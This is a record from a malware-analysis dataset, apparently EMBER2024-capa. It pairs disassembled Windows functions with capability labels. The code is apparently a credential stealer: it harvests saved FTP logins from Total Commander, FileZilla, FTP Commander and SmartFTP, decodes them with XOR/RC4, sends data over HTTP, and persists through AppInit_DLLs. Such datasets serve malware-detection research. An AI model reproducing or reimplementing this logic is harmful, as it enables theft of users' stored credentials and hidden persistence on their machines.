joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403874
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.0040c3f4
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x403999
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0040c2c3
test al, al
je 0x403999
sub esi, 4
xor ebx, ebx
test esi, esi
mov dword [ebp - 4], 0xcf671
jle 0x4038e1
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.00403851
pop ecx
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
cmp ebx, esi
mov byte [edi], al
jl 0x4038c1
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.00403851
pop ecx
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.00403851
dec dword [ebp - 8]
pop ecx
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x4038ef
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xa564
jle 0x40394b
push 0x100
lea ecx, [ebp - 4]
call fcn.00403851
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403931
xor edi, edi
test esi, esi
mov dword [ebp - 4], 0xd431
jle 0x403972
push 0x100
lea ecx, [ebp - 4]
call fcn.00403851
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
pop ecx
jl 0x403958
xor eax, eax
test esi, esi
jle 0x40398d
movzx cx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x403978
mov eax, dword [ebp + 8]
and word [eax + esi*2], 0
mov eax, esi
jmp 0x40399b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4039e7
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x20002
push 8
push dword [0x4244a8]
call edi
mov ebx, eax
xor eax, eax
cmp ebx, eax
mov dword [ebp - 0x14], ebx
je 0x403bb7
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffff
push ebx
push eax
push eax
push eax
call esi
test eax, eax
jbe 0x403bb0
lea ecx, [eax + 1]
mov eax, ebx
call fcn.0040c505
test al, al
je 0x403bb0
push 0xc0c
push 8
push dword [0x4244a8]
call edi
mov edi, eax
test edi, edi
mov dword [ebp - 0x10], edi
je 0x403bb0
lea eax, [edi + 0x3fc]
mov dword [ebp - 8], eax
add eax, 0x1fe
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x74]
push eax
mov edx, str.connections
mov dword [ebp - 4], ebx
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x34]
push eax
mov edx, str.default
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x24]
push eax
mov edx, 0x40e7d4
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x48]
push eax
mov edx, str.username
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x5c]
push eax
mov edx, str.password
call fcn.0040550e
pop ecx
mov ebx, 0xff
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b90
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b90
push dword [ebp + 8]
push ebx
push edi
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b90
push dword [ebp + 8]
lea eax, [edi + 0x1fe]
push ebx
push eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b90
push dword [ebp + 8]
lea eax, [ebp - 0x5c]
push ebx
push dword [ebp - 8]
push 0
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b90
push dword [ebp - 8]
call fcn.00403874
test eax, eax
pop ecx
jle 0x403b90
lea eax, [ebp - 0x94]
push eax
mov edx, str.ftp:___s:_s__s_n
call fcn.0040550e
pop ecx
push edi
push dword [ebp - 8]
mov edi, dword [ebp - 0xc]
push dword [ebp - 0x18]
lea eax, [ebp - 0x94]
push eax
mov edx, 0x307
call fcn.0040c489
add esp, 0x10
test eax, eax
jle 0x403b8d
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
call fcn.0040c09b
test al, al
pop ecx
je 0x403b8d
inc dword [edi + 4]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
push 1
call fcn.0040c525
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x403ac5
push edi
call fcn.0040beca
mov ebx, dword [ebp - 0x14]
pop ecx
push ebx
call fcn.0040beca
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403c0d
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.0040bf2d
lea eax, [ebp - 0x100]
mov ebx, str.SOFTWAREGhislerTotal_Commander
push eax
mov edx, ebx
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x6c]
push eax
mov edx, str.ftpininame
call fcn.0040550e
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x100]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.00408549
add esp, 0xc
cmp eax, 0xffffffff
je 0x403ca6
test eax, eax
jbe 0x403ca6
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039e7
pop ecx
pop ecx
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
cmp dword [ebp - 8], 0
jne 0x403dfb
lea eax, [ebp - 0x40]
push eax
mov edx, str.totalcmd
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x9c]
push eax
mov edx, str.totalcommander
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x54]
push eax
mov edx, str.ghisler
call fcn.0040550e
and dword [ebp - 4], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x54]
pop ecx
mov dword [ebp - 0x28], 0x24
mov dword [ebp - 0x24], 0x1a
mov dword [ebp - 0x20], 0x26
mov dword [ebp - 0x1c], 0x23
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov edi, dword [ebp + eax*4 - 0x28]
lea eax, [ebp - 0x308]
push eax
xor eax, eax
push eax
push eax
push edi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x403d7c
cmp edi, 0x24
jne 0x403d57
xor edi, edi
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.004039a0
add esp, 0xc
mov word [ebp - 0x302], di
jmp 0x403d59
xor edi, edi
push edi
push edi
push edi
lea eax, [ebp - 0xc]
push eax
push 0x403bbc
push 2
push 3
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.00408302
add esp, 0x24
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jb 0x403d15
cmp dword [ebp - 8], 0
jne 0x403dfb
lea eax, [ebp - 0xb8]
push eax
mov edx, ebx
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x40]
push eax
mov edx, str.installdir
call fcn.0040550e
pop ecx
push esi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xb8]
push eax
lea edi, [ebp - 0x308]
mov eax, 0x80000001
call fcn.00408549
add esp, 0xc
cmp eax, 0xffffffff
je 0x403df7
test eax, eax
jbe 0x403df7
push esi
lea eax, [ebp - 0x510]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x510]
push eax
call fcn.004039a0
add esp, 0xc
cmp dword [ebp - 8], 0
jbe 0x403e07
mov esi, dword [ebp - 0xc]
call fcn.00403395
jmp 0x403e10
push dword [ebp - 0xc]
call fcn.0040beca
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4040e4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push esi
lea eax, [ebp - 0x30]
push edi
push eax
mov edx, str.filezilla
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x30]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040bf2d
xor edi, edi
lea eax, [ebp - 0x238]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x404164
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x403e15
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x238]
push eax
call fcn.00408302
add esp, 0x24
inc edi
cmp edi, 3
jb 0x404129
cmp dword [ebp - 4], esi
jbe 0x404179
mov esi, dword [ebp - 8]
call fcn.00403395
jmp 0x404182
push dword [ebp - 8]
call fcn.0040beca
pop ecx
pop edi
pop esi
leave
ret

Function at 0x404186
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
push edi
lea eax, [ebp - 0x100]
push eax
call fcn.0040bf06
mov cl, byte [ebp - 0xff]
xor cl, byte [ebp - 0x100]
mov dl, byte [ebp - 0xfe]
or cl, 0x50
xor eax, eax
test dl, dl
mov byte [ebp - 2], 0
je 0x4041da
push esi
lea esi, [ebp - 0xfe]
xor dl, cl
movzx dx, dl
mov word [edi + eax*2], dx
inc eax
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x4041c7
pop esi
and word [edi + eax*2], 0
leave
ret
Function at 0x404460
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov ecx, edi
call fcn.0040c3f4
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x404512
lea ecx, [ebp - 0x100]
mov eax, edi
call fcn.0040c2c3
test al, al
je 0x404512
xor eax, eax
test esi, esi
jle 0x4044a9
xor byte [ebp + eax - 0x100], 0x5c
inc eax
cmp eax, esi
jl 0x40449c
mov bl, byte [ebp - 0x100]
cmp bl, 0xff
jne 0x4044c2
mov bl, byte [ebp - 0xfe]
lea eax, [ebp - 0xfd]
jmp 0x4044c8
lea eax, [ebp - 0xff]
movzx ecx, byte [eax]
lea ecx, [eax + ecx + 1]
movzx eax, bl
lea edx, [eax + ecx]
lea esi, [ebp + esi - 0x100]
cmp edx, esi
ja 0x404512
cmp eax, dword [ebp + 8]
jl 0x404512
cmp byte [ebp - 0x100], 0xff
jne 0x4044f4
add ecx, dword [ebp + 8]
sub bl, byte [ebp + 8]
movzx eax, bl
xor edx, edx
test eax, eax
jle 0x40450b
movzx si, byte [edx + ecx]
mov word [edi + edx*2], si
inc edx
cmp edx, eax
jl 0x4044fd
and word [edi + eax*2], 0
jmp 0x404514
xor eax, eax
pop esi
pop ebx
leave
ret
Function at 0x404a8f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
lea eax, [ebp - 0x38]
push edi
push eax
mov edx, str.ftpcommander
call fcn.0040550e
pop ecx
lea eax, [ebp - 0x38]
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0040bf2d
xor edi, edi
lea eax, [ebp - 0x240]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x404b0f
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x4047c9
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.00408302
add esp, 0x24
inc edi
cmp edi, 3
jb 0x404ad4
cmp dword [ebp - 4], esi
jbe 0x404b24
mov esi, dword [ebp - 8]
call fcn.00403395
jmp 0x404b2d
push dword [ebp - 8]
call fcn.0040beca
pop ecx
pop edi
pop esi
leave
ret
Function at 0x405133
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
call fcn.0040bf2d
lea eax, [ebp - 0x128]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settingsgeneral_favorites
call fcn.0040550e
lea eax, [ebp - 0xb8]
push eax
mov edx, str.SOFTWARE_smartftpclient_2.0_settings_backup
call fcn.0040550e
lea eax, [ebp - 0x54]
push eax
mov edx, str.personal_favorites
call fcn.0040550e
lea eax, [ebp - 0x2c]
push eax
mov edx, str.folder
call fcn.0040550e
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, 0x80000001
call fcn.00408549
add esp, 0xc
cmp eax, 0xffffffff
je 0x405200
test eax, eax
jbe 0x405200
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x538]
push eax
call fcn.00404e78
pop ecx
pop ecx
add esi, 4
dec dword [ebp - 4]
jne 0x4051b8
cmp dword [ebp - 8], 0
jbe 0x405218
mov esi, dword [ebp - 0xc]
call fcn.00403395
jmp 0x405221
push dword [ebp - 0xc]
call fcn.0040beca
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4069fa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406a2d
xor eax, eax
jmp 0x406a62
push edi
push dword [ebp + 0x14]
call fcn.0040544e
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406d6f
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406d81
xor eax, eax
pop esi
ret
push esi
push esi
push esi
push 1
push esi
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
cmp eax, esi
setne cl
mov dword [0x4114d4], eax
pop esi
mov eax, ecx
ret
Function at 0x408302
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
push ebx
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
mov eax, 0x40ec48
call fcn.004082d6
test al, al
pop ecx
pop ecx
je 0x408479
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x408479
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x408371
push esi
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x408470
cmp word [ebp - 0x230], 0x2e
jne 0x40839f
cmp word [ebp - 0x22e], si
je 0x408458
cmp word [ebp - 0x22e], 0x2e
jne 0x40839f
cmp word [ebp - 0x22c], si
je 0x408458
mov eax, dword [ebp - 0x25c]
and eax, 0x10
je 0x4083b0
test byte [ebp + 0x14], 2
jne 0x4083ba
cmp eax, esi
jne 0x4083fe
test byte [ebp + 0x14], 4
je 0x4083fe
cmp dword [ebp + 0x10], 0
jbe 0x4083fe
push dword [edi + esi*4]
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x4083dc
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x4083c0
jmp 0x4083fe
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test al, al
je 0x408470
cmp dword [ebp + 0x28], 0
je 0x4083fe
push dword [ebp + 0x28]
call ebx
test byte [ebp - 0x25c], 0x10
je 0x408458
test byte [ebp + 0x14], 1
je 0x408458
push dword [ebp + 8]
lea eax, [ebp - 0x464]
push eax
lea eax, [ebp - 0x230]
call fcn.004082d6
test al, al
pop ecx
pop ecx
je 0x408458
cmp dword [ebp + 0x24], 0
je 0x408433
push dword [ebp + 0x24]
call ebx
push dword [ebp + 0x28]
lea eax, [ebp - 0x464]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push edi
push eax
call fcn.00408302
add esp, 0x24
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x408355
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40847e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x408512
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x408509
cmp dword [ebp - 8], edi
jne 0x408509
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x4084c8
mov dword [esi], edi
mov al, 1
jmp 0x408514
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x408509
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4084fb
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x4084c4
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x408549
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408586
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.00408517
add esp, 0x10
mov ebx, eax
jmp 0x408589
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x4085ff
test bl, 1
jne 0x4085ff
cmp dword [ebp - 4], 1
je 0x40859f
cmp dword [ebp - 4], 2
jne 0x4085ff
xor ecx, ecx
cmp ebx, ecx
jne 0x4085aa
mov word [edi], cx
jmp 0x4085fb
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x4085c1
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x4085ff
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x4085fb
cmp dword [ebp - 4], 2
jne 0x4085fb
push edi
call fcn.0040c060
mov esi, eax
test esi, esi
pop ecx
je 0x4085e8
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x4085eb
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x408602
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x4086be
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x408704
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.004069bd
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x408712
xor eax, eax
jmp 0x408747
lea eax, [ebp - 0x804]
push eax
call fcn.0040544e
cmp eax, 4
pop ecx
jbe 0x40873c
push 1
push 0x40ea50
push str.AppInit_DLLs
push ebx
push edi
call fcn.004069fa
add esp, 0x14
jmp 0x408747
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409e98
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d640
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.0040550e
lea eax, [ebp - 0x210]
push eax
call fcn.0040544e
xor ebx, ebx
push 0x4244d0
mov word [ebp + eax*2 - 0x212], bx
call fcn.0040544e
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040bf7a
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409f32
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409f1e
dec edx
je 0x409f16
dec edx
jne 0x409f24
add ecx, 0xfffe
jmp 0x409f24
add ecx, 0xfffb
jmp 0x409f24
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409eef
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409f55
xor eax, eax
jmp 0x409fca
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0a8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409f51
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040beca
cmp edi, ebx
pop ecx
je 0x409f51
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x409fc8
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bfc5
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409fcf
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40f720
call fcn.0040d2e8
and dword [ebp - 4], 0
call fcn.0040584a
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40a04b
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a02c
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a00b
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a003
or dword [ebp - 4], 0xffffffff
call fcn.0040d323
ret
Function at 0x40a055
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f710
call fcn.0040d2e8
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a0d4
cmp word [ebp - 0x1c], 0xffff
jne 0x40a0d4
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a0ef
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a0b5
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a096
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x4284d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a0ef
jmp 0x40a077
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a0f5
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d323
ret

Function at 0x40a1fa
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x411054], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a21a
call fcn.0040a159
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a22c
mov esi, ebx
call fcn.0040a0fb
test eax, eax
mov dword [ebp - 8], eax
je 0x40a2e1
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a2c8
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a28c
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415268]
mov eax, 0x1388
push dword [0x4201b0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret